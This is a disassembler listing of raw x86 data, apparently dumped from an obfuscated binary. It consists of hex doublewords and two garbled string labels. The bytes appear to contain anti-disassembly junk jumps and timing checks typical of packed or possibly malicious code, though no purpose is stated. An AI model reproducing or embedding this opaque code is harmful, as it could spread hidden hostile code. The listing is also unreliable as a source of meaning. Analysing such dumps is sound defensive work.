		dd 7E41A11h, 8618BF66h,	4FE78D8Dh, 6A07E4h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0BEB361C3h
		dd 0E09FA3F2h, 0B5894BD1h, 7E40921h, 9D8BE1FFh,	7E405BDh
		dd 27019D23h, 0BD8307E4h, 7E422B9h, 7C840F00h, 23000004h
		dd 0E41E759Dh, 0B9BD8307h, 107E422h, 484840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 19E7AEC3h, 6D9F46D8h, 11E8h,	6C0B1E00h, 0E7C8A63Eh
		dd 0A6D9C003h, 31F21421h, 820FE047h, 6,	8F7E381h, 665B45E3h
		dd 0BD83DE8Bh, 7E422B9h, 0F9860F03h, 6A000003h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 9C6CC351h, 839E26FAh, 33683F5Eh, 11E8h, 0BDA48200h
		dd 8C981707h, 65169DC8h, 7C5A27BFh, 895F7994h, 0E40A1995h
		dd 6A6007h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 14893FC3h, 662D6B5Ah, 0BF0FD98Ch,	4E180F9h
		dd 3559BD8Bh, 0C90A07E4h, 133840Fh, 8B660000h, 51858BFAh
		dd 0F07E406h, 0A81h, 8D8B6000h,	7E413A9h, 3361D88Bh, 0E4202985h
		dd 0FDB50907h, 9007E400h, 0AB11BF66h, 0A5BB6650h, 6A9057h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 59FB0EC3h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0B5B065C3h, 1AC02E28h, 0E85F5028h
		dd 4, 1F03FFh, 9E850h, 8F550000h, 78D56CD8h, 0E9C2182Fh
		dd 5, 4A351AAh,	448B5FBEh, 50530424h, 13E952h, 466E0000h
		dd 3AD65245h, 957C9132h, 42E87F2Fh, 0EB669821h,	0E8310FFFh
		dd 8, 7A625EFCh, 145F26FDh, 5B585A5Bh, 4489008Bh, 0FF580424h
		dd 0E42D9995h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 785661F1h, 7E4054B6h
		dd 7D8D890Ah, 8B07E419h, 0E401399Dh, 0A5858907h, 0B307E7F8h
		dd 20AE937h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 5E0C38C3h, 9D858B32h, 6A07E7F8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B39C352h, 0E416B59Dh, 0B0BB6607h, 1800C726h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 4D45C350h, 23CF8166h, 0A1B58BC3h
		dd 0E807E7F8h, 11h, 0A1FC9C2Eh,	0E779765Ch, 55BC293Ah
		dd 0E7E20447h, 68B0FDDh, 9000000h, 0E41EB995h, 0F3815B07h
		dd 62BCECC4h, 99858Bh, 9D2907E4h, 7E4249Dh, 0BD8B0689h
		dd 7E41925h, 651858Bh, 6A07E4h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 7A1F34C3h, 0A8839088h
		dd 0BBBD750Eh, 1784ED17h, 6A044689h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0AD9BC356h
		dd 29BBED7Eh, 0BD8B64B3h, 7E40E11h, 0DE996h, 0A3FB0000h
		dd 938AB676h, 38CF26ADh, 505B9EEEh, 10E9h, 2F7B0200h, 7F303145h
		dd 85D7E423h, 1D7A8232h, 0EB81964Fh, 36A124D4h,	0D2BCBF66h
		dd 0F89DB5FFh, 6A07E7h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F818CC3h, 688h,	2DBD2900h, 6807E41Bh
		dd 79230CB5h, 34810AB7h, 3C0F4A24h, 52006A79h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 8CB0A6F6h
		dd 9E7F7560h, 0F8A5858Dh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0B58903C3h, 7E40271h
		dd 0D88B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 43ADC351h, 897539DFh
		dd 0E4140D85h, 0FABF0F07h, 2D9995FFh, 0BD8B07E4h, 7E42D45h
		dd 13E961h, 0DADF0000h,	0BA3046F3h, 0FEA7FCBAh,	133BFEF5h
		dd 42BE833Eh, 0B985C727h, 307E422h, 52000000h, 0BD835FF8h
		dd 7E7F8A5h, 2D840F00h,	8B000000h, 41E9F9h, 870F0000h
		dd 17h,	0CE8h, 0B6DD3900h, 2E1F48A7h, 0E941868Dh, 7107BFD3h
		dd 0F5B5314h, 38Bh, 0FFB70F00h,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0EA86C357h,	84BB666Eh
		dd 7D9D8BE4h, 8307E416h, 0E422B9BDh, 850F0307h,	3BBh, 0BD48DB81h
		dd 0BD835730h, 7E7F8A5h, 0A8840F00h, 8B000003h,	0E417D1BDh
		dd 0A5B5FF07h, 0BF07E7F8h, 75C7EECCh, 44D95FFh,	0B58B07E4h
		dd 7E7F899h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0C35545h, 840B76EEh, 8BF84F90h,	0E41979BDh, 106C707h
		dd 6A000100h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 295FC351h, 9E5CC9EFh, 2594A8F9h
		dd 0B9666096h, 8A0FFD64h, 2, 5061F98Bh,	68E0F96h, 8B000000h
		dd 0E405C59Dh, 0A5B5FF07h, 6A07E7F8h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DF00C350h
		dd 9D8BCC1Ch, 7E423F1h,	2A0995FFh, 0CE907E4h, 79000000h
		dd 0F7E8FA66h, 0E2C83B9Dh, 8B99EA43h, 0E7F899B5h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 7B8484EFh, 9FA49419h, 65858BFBh, 6A07E431h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 9D1C356h, 0B2BF6654h, 6D953134h, 8907E42Ch, 0C486h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 14AFCD3Eh, 958BCC10h, 7E41B71h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D3C35242h, 81667F2Bh
		dd 0F1C4FE7h, 689h, 6FC38100h, 830D88A5h, 6A04C2h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 31F4D7C3h, 97FB5B1h,	0E417F19Dh, 20508907h, 860Fh, 858D0000h
		dd 7E80CD4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	97C35646h, 0C870B353h, 0F7816601h
		dd 8166B4ECh, 31102EC3h, 0E418B185h, 0B8868907h, 29000000h
		dd 0E42B5D9Dh, 66006A07h, 0CE2FD781h, 20B1BD8Bh, 0B5FF07E4h
		dd 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	1FC35646h, 0B3BE820Eh, 0A3AB398Dh, 18C9BD8Bh, 95FF07E4h
		dd 7E431ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	1FC35242h, 0CF7E7F15h, 10E95080h, 92000000h, 0A169A1B3h
		dd 0FCDB5EC7h, 304CD976h, 8931D200h, 9D8B2434h,	7E400B5h
		dd 0F8A5B5FFh, 0C3BF07E7h, 891B4787h, 0E41C9185h, 1195FF07h
		dd 8907E41Bh, 0E40F15BDh, 0F9BD8307h, 7E40Dh, 2C840Fh
		dd 0BF660000h, 8589CC84h, 7E40B35h, 0CE850h, 0E8410000h
		dd 12FAB024h, 0C2E4F05Dh, 66569713h, 5B3CD8BBh,	2434895Bh
		dd 9059D8Bh, 0B5FF07E4h, 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 77C35646h, 65C2CEB9h, 7D95FFA3h
		dd 2B07E402h, 0E40B89BDh, 0A5B5FF07h, 0FF07E7F8h, 0E4097195h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 83A1351Dh, 0E40A21BDh, 840F0207h, 5Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B2C35646h, 8B66357Fh
		dd 0B5858BDAh, 6A07E41Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0DC1EC357h,	8A46BB66h
		dd 2145BD8Bh, 0C607E4h,	89525700h, 0E412BDB5h, 0C75B5F07h
		dd 0E4267185h, 7, 519D8B00h, 0E907E41Eh, 0FFFFF3B7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B5C35141h, 8B26034Dh
		dd 852960C1h, 7E41269h,	61D78B66h, 0D85858Dh, 6A07E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 3A43B2C3h, 663937BFh, 0BB669079h, 90508107h,	0BE8h
		dd 8C9E3900h, 9575616h,	0E68593A2h, 47FCD381h, 6A5B73ADh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0A70A2B80h, 0A206BBACh, 6A72B5h,	8D74EF80h
		dd 0E94F4D85h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0A3AF12CCh, 0AC205E8Ah
		dd 0B5290EE4h, 7E41815h, 6A05C083h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 96BDC350h
		dd 0D1CF358Bh, 0BD8BF698h, 7E40111h, 57525090h,	0E9310F5Fh
		dd 0Ah,	0C372E781h, 0CC6F5DABh,	585A4538h, 850F5150h, 17h
		dd 11E8h, 0DAEA4A00h, 0A1EEC590h, 0BA49A49Eh, 7F6A66E9h
		dd 5B5BA0BDh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 539E3633h, 81666AC8h, 8BD559CBh
		dd 0E4091D9Dh, 619D2907h, 6A07E41Eh, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 55D1E296h
		dd 213FEDBAh, 6A006AF3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0A838C355h,	687135EDh
		dd 58CD9165h, 5BD88B50h, 247195FFh, 0E96007E4h,	6, 85FC603Dh
		dd 0B509CAC9h, 7E41815h, 4B8D8D61h, 6A07E7D6h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 53BDC350h, 66EEB391h, 0E8BF381h, 6AD1FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 2969F9C3h
		dd 60755381h, 15BD8384h, 107E420h, 4A850Fh, 81660000h
		dd 6A40D3EBh, 0DE8B6602h, 50525150h, 5A310F52h,	895F5B58h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0AB3802C3h, 6399D01h, 9D2907E4h, 7E41609h
		dd 31AD95FFh, 0DE8B07E4h, 0DAAE9h, 0E800h, 815D0000h, 0E94F57EDh
		dd 0F19D8B07h, 0BF07E432h, 2CA11F21h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 85C35747h, 268E3D5Fh, 94C1D82Ah
		dd 8DF9BF0Fh, 0E7C6E185h, 4895007h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0CFA2ADF7h
		dd 9D9D0B84h, 8B07E424h, 0E41AC1BDh, 35FF6407h,	0
aDi		db 'Ώ]ΕΨ<d‰%',0
		align 4
		dd 85FFF98Bh, 7E420B9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0E0C35242h, 896E9A01h, 0E40509BDh, 8D0F5607h
		dd 6, 21C99D8Bh, 6A5F07E4h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B5FF3A84h
		dd 7E42BF1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0B4C35343h, 5B32B41Bh, 0D54A7963h, 6FC478BFh, 4D95FF11h
		dd 0E907E430h, 0FFh, 0CD836BFh,	0BF00B079h, 1C462155h
		dd 6E970E6h, 0E2000000h, 93166342h, 6671E4B9h, 613CD98Bh
		dd 0D9830Fh, 0BD8B0000h, 7E42E11h, 0FC8B60Fh, 6BADFBFh
		dd 0F000000h, 8166FBBFh, 8BBFB9F7h, 518D89C1h, 0C107E433h
		dd 0BB6604E8h, 0F76671FDh, 6890FE2h, 89000000h,	0E42FED85h
		dd 8BC82B07h, 0E41B41BDh, 80D18B07h, 90E9DCCBh,	0B000000h
		dd 0E416A19Dh, 0AE907h,	0FE500000h, 923F0868h, 8E06BEDFh
		dd 4E49858Bh, 0BD8B4400h, 7E42229h, 8007C083h, 0C083EAEBh
		dd 0BE800h, 31A90000h, 97A9942Ch, 0BE4570Bh, 5BF88B62h
		dd 830FD03Bh, 0Dh, 1CBDBD8Bh, 40E907E4h, 0B7000000h, 0FF8D8B38h
		dd 89FFFFFFh, 0E42B6195h, 1E18307h, 29840Fh, 0BB660000h
		dd 0A583F098h, 0FFFFFFFFh, 0BD9D8BFEh, 0BF07E40Eh, 1A0E86DCh
		dd 4E499589h, 8A0F4400h, 2, 0E9D98Bh, 8D000000h, 0E8C914B5h
		dd 3D9D0307h, 0E807E415h, 12h, 7A06A29Ah, 0D9C838D9h, 0A076B55Eh
		dd 8CE38AA6h, 5FF596A5h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 312D3EC3h, 89882568h
		dd 0E4034595h, 0DF816607h, 95FFB65Eh, 7E40E41h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 54C35040h, 0B8DA0248h
		dd 0BD8BBD85h, 7E42559h, 1219D8Bh, 0C3B907E4h, 6A000010h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0F74DC351h, 4D958AE8h, 78D84B63h,	9529DE8Ah
		dd 7E42E05h, 0BBFCE183h, 4B97C2A2h, 53006AFCh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0DBD8BFDh
		dd 0F07E415h, 0B8FFB7h,	81000000h, 0C8514CD3h, 0BA32h
		dd 33AD0000h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E9B87BC3h
		dd 14h,	61455F3h, 740D4774h, 547E02C4h,	371B55C8h, 0C470DC0h
		dd 66D8B70Fh, 0D4A62BBh, 88h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 66C35141h, 26919CD9h, 17D8589h
		dd 816607E4h, 8B7BC6F7h, 0E41B7195h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0AD2C18A9h
		dd 0CEF6DDF9h, 0FDF8B66h, 688h,	45EB8100h, 8B2894E1h, 0E42DA18Dh
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 34505B49h, 320B9406h, 8B5039D8h,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 6679B260h, 6A61D18Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 6192C353h, 611BD83h, 0F0007E4h, 7884h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0BE9A9h, 0A1950000h,	0FECFBC3Bh, 16C14A6Dh, 0B8B1h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 6AFE42C3h, 0E78D8D67h, 6A07E44Fh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 4E8CC350h, 0B7E1FF08h, 0B9BD838Ah, 7E422h, 3E4840Fh
		dd 0CB800000h, 0B9BD8346h, 107E422h, 3EF840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 9CA592C3h, 2349CFBDh, 0B9BD834Eh, 307E422h, 389860Fh
		dd 0DD8A0000h, 299D8B60h, 6607E421h, 6AD98Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0EFFDCDC3h
		dd 0B1EA8B5Dh, 8589A418h, 7E4272Dh, 0E804E180h,	10h, 884C3E5h
		dd 5E7F353Bh, 0DED69E83h, 0D893476Ah, 2BF9BD89h, 0A5B07E4h
		dd 0E8840FC9h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 1824C351h, 0F95BA0A1h
		dd 0C1BD89C3h, 8B07E401h, 0E4065185h, 0BD8B6007h, 7E4322Dh
		dd 21A18D8Bh, 336107E4h, 0E4202985h, 8B509007h,	8B6690FAh
		dd 1751BBDFh, 6A0CC7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 5EC35747h, 7D99336h, 2BADB633h, 37BF66F8h
		dd 61D86867h, 34813249h, 56622724h, 10E832h, 6C6B0000h
		dd 0EB45899Eh, 1B86A754h, 0AF65460Eh, 0FF5FCAFCh, 0E42D9995h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 9501C586h, 7E42DFDh, 0A58589F8h,	0E807E7F8h
		dd 9, 0EE44DA86h, 0C135BD32h, 0DF8166CFh, 0E95B7341h, 1E8h
		dd 8BDBBF0Fh, 0E7F89D85h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0FE4D73Dh
		dd 0C7DAB7h, 18h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0F1C35343h, 89428362h, 0E423E5BDh, 499D8B07h, 6007E424h
		dd 0D1B70FF8h, 0A1B58B61h, 0F07E7F8h, 786h, 2EBF5000h
		dd 5F0DF4DCh, 99858Bh, 820F07E4h, 0
		dd 858B0689h, 7E40651h,	0DFD9D8Bh, 468907E4h, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 41274C56h, 20D9D2B8h, 9D8B3011h, 7E431E9h, 30BB5750h
		dd 5F1784A2h, 2B243489h, 0E424599Dh, 9DB5FF07h,	6A07E7F8h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 7C3AC353h, 275044F4h, 2B992BC5h, 0E40B15BDh
		dd 4E807h, 3FF0000h, 0FB8B001Fh, 7BBB6650h, 24448B77h
		dd 14E804h, 2FEF0000h, 5C1381E9h, 5809CDC8h, 0C004DD27h
		dd 0E35F8B90h, 0F524CD3h, 88h, 8B5F5B00h, 0DA8B6600h, 4244489h
		dd 11E9h, 0F6020C00h, 0F3D1F8A5h, 0CDA63D07h, 5250A9A7h
		dd 6A581333h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0AC21C350h, 0FC628077h, 8B62998Fh
		dd 0E41E75BDh, 0A5858D07h, 8907E7F8h, 0E40B5585h, 52509007h
		dd 28A0Fh, 69B70000h, 880F310Fh, 2, 585A6160h, 8E950h
		dd 5A0000h, 4D5D51DCh, 81904F1Bh, 77EC9CDBh, 2E06BB3Dh
		dd 95FF2282h, 7E42D99h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 66C35747h, 4A2A6800h,	619D8BB8h, 0FC07E400h
		dd 14E961h, 0AE740000h,	0B885454Bh, 874B80D6h, 4E937DF3h
		dd 4C64DCC5h, 85C7344Dh, 7E422B9h, 3, 0A5BD83FCh, 7E7F8h
		dd 2D840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 170424h, 56460000h, 1487D6C3h, 0F9A4B788h, 21E9h, 0BF0F6000h
		dd 5061F5C0h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 92921C3h, 0F1E5E19Ch, 2906C06Ah
		dd 0E41B4985h, 99858907h, 6A07E40Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0E8A7C357h
		dd 8384401Ah, 0E422B9BDh, 850F0307h, 449h, 128D8D89h, 0BD8307E4h
		dd 7E7F8A5h, 36840F00h,	0FF000004h, 0E7F8A5B5h,	52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 6C13D118h, 0E96DC286h, 8, 7119BEA8h,	8E8C9684h, 44D95FFh
		dd 0F38007E4h, 859D2B42h, 8B07E401h, 0E7F899B5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BD0B4C98h, 7E40E5Dh, 106C7h, 0BD8B0001h, 7E40121h
		dd 0E8525050h, 11h, 31505EBAh, 8AAB1A55h, 0E5F38F76h, 1B7861BBh
		dd 5BF98BC8h, 0AE9310Fh, 21000000h, 231FF3E9h, 5EFC83C4h
		dd 89585A62h, 0C2BF2434h, 0FF7CD8DEh, 0E7F8A5B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 1741ECB2h, 79849222h, 0BD29CE75h, 7E4199Dh, 2A0995FFh
		dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0B7FBCCC3h, 441AA4F1h, 0BE8h, 74F1E700h
		dd 0E879E1E8h, 3D85388Ch, 31818D89h, 8B5F07E4h,	0E7F899B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0FDF8B1Fh, 858BDEBFh, 7E43165h, 0DE8h, 6102E00h
		dd 1EBF4678h, 268BC9A4h, 57B35D0Dh, 0C486895Fh,	81000000h
		dd 76325DDFh, 0BDBD8B0Dh, 8B07E402h, 0E41B7195h, 178D0F07h
		dd 0E9000000h, 12h, 0E27443D4h,	0DD86677h, 7996EB4Fh, 9BF7A6C7h
		dd 0C28341DFh, 5089F804h, 53006A20h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0B287548Bh
		dd 502A6ECAh, 89516DEDh, 0E414B995h, 858D5F07h,	7E80CD4h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 4EC35242h
		dd 0FC14829h, 8689F9BFh, 0B8h, 0FFD78166h, 0BF006A24h
		dd 45CFF97Dh, 0F8A5B5FFh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0F248A4C3h, 890A61DDh
		dd 0E41AD585h, 0AD95FF07h, 6A07E431h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B8C1C353h
		dd 0BBABEB52h, 259A1EB8h, 7E96050h, 0D9000000h,	8DDB95D0h
		dd 0E95282F1h, 10h, 7ED2E721h, 0C307A9A4h, 0FB9D37EEh
		dd 8B2FE106h, 3489615Fh, 11D38124h, 0FF283B6Dh,	0E7F8A5B5h
		dd 8D858907h, 0FF07E421h, 0E41B1195h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 12D6BA54h, 0FCB83E1h, 68Ah, 0D19D2300h, 8307E406h, 0E40DF9BDh
		dd 840F0007h, 83h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 6EC35747h, 47977508h,	68B0Fh,	9D890000h
		dd 7E42D4Dh, 0B898589h,	509607E4h, 66525060h, 310FC88Bh
		dd 585A6160h, 0CE9h, 1AB6700h, 43D38833h, 0AC528BE5h, 6A96617Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 5360C356h, 999D892Ah, 0F07E406h, 685h, 0F1BD8B00h
		dd 0FF07E418h, 0E7F8A5B5h, 51950107h, 8B07E42Dh, 0E4246DBDh
		dd 7D95FF07h, 8B07E402h, 0E415899Dh, 0A5B5FF07h, 8A07E7F8h
		dd 7195FFF9h, 6A07E409h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 96E2C353h, 10E9h, 7007D000h
		dd 7B356F1Ch, 19778B88h, 61A4B608h, 21BD8313h, 207E40Ah
		dd 5F840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8BE93FC3h, 0E41EB585h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9D0308C9h, 7E43235h,	0FDAB70Fh, 0C6FABFh, 0BE900h, 12AC0000h
		dd 5054464Fh, 64032B17h, 7185C7C5h, 7E426h, 8B000000h
		dd 0E405ADBDh, 0F345E907h, 8E0FFFFFh, 6, 51BD8Bh, 0C18B07E4h
		dd 13E8h, 0BC90BB00h, 0A108DA72h, 5D8D8F30h, 58810C51h
		dd 4229782Fh, 199BD89h,	8D5F07E4h, 0E40D8585h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 9E850D2h, 6D000000h,	0D3FE5D88h, 0D91E5A79h,	0CE14BB66h
		dd 2404895Fh, 5FD88B52h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 685B01C3h, 44F340BFh
		dd 25BD8B21h, 6A07E425h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 5C16E28Dh, 1A05167Dh
		dd 43858D3Bh, 8307E95Fh, 6A05C0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0DE12B5C3h, 85176A4Eh
		dd 870F2972h, 0Fh, 0AE9h, 6191B100h, 0FC297AF6h, 8BC5BEBCh
		dd 820F50FBh, 28h, 10E8h, 0A3B98200h, 483859ACh, 2CEE9686h
		dd 9131D4ABh, 0DE9E1h, 0ECCA0000h, 3E2865B9h, 5CAB744Ah
		dd 5BF02560h, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0E9F5C355h
		dd 0CB81174Fh, 3666BAh,	61EB8166h, 8B006A9Eh, 0E40401BDh
		dd 0F006A07h, 95FFFBBFh, 7E42471h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 26C35545h, 0B9A0C34h, 8E35E808h
		dd 0D64B8D8Dh, 830F07E7h, 4, 2E88BF66h,	0FE8BD1FFh, 0C3DB8166h
		dd 15BD8344h, 107E420h,	0BC850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 49BD9EC3h
		dd 0C781CA41h, 18D40BF7h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 575AF8C3h, 36C0BB66h
		dd 9E9h, 0F709B200h, 26269204h,	50503BF2h, 0FDD8A52h, 0F88B6631h
		dd 489585Ah, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 3D852916h, 0FF07E40Bh, 0E431AD95h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 4A832AD3h, 0ABAF2A07h, 9D23BE09h, 7E41B79h
		dd 79E938B7h, 0E800000Dh, 0
aBam_sJ		db ']νM_ι',7,'j',0
		db 50h,	0E8h, 3
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 589FC350h, 0A0B7F46Dh, 6A6291h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0FD1DB0C3h, 0E1858D3Fh
		dd 6A07E7C6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
